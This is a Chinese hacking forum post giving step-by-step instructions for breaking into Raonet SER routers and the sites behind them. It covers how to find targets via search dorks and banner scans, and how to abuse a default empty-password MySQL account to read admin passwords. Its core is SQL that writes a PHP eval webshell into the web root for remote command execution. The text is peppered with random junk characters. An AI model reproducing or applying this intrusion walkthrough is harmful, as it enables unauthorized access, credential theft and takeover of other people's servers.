利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
9 D9 A8 p3 C& C: O
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

% [/ Q( I5 }+ R. o8 p6 ~8 n, j. P3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
9 K; B; S0 C! A1 ~+ x0 y3 G( A- \
  K7 s' T7 s2 y/ ]" r//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

: L! L* K. g4 F9 p6 i" {$ H
0 T8 i; i: h3 e1 t& M: `% U* ~5 Y
入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
8 s4 g8 [3 s, ~! w! S- Gselect id,passwd from user;
6 c. K! r+ I$ i: E7 G! P, D4:通过数据库写入webshell，执行命令：
* Y* ~' @1 c' t; Z4 j2 suse mysql;
create table ok(cmd TEXT);
% D' c% w0 T2 d- Kinsert into ok values("<?php @eval($_POST[cmd])?>");
0 \1 j" D9 j2 T7 yselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
; M4 O5 `" b8 u* f' q4 P! D5 J
5 z' I, X" A, ]: Y4 v. p8 E! `5:连接后门shell.php
0 M) N, d3 C1 ^. C
( u) k9 D8 i( b7 _7 y6. 搞定！
# i2 l# l8 V. x! F0 L: |( C

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。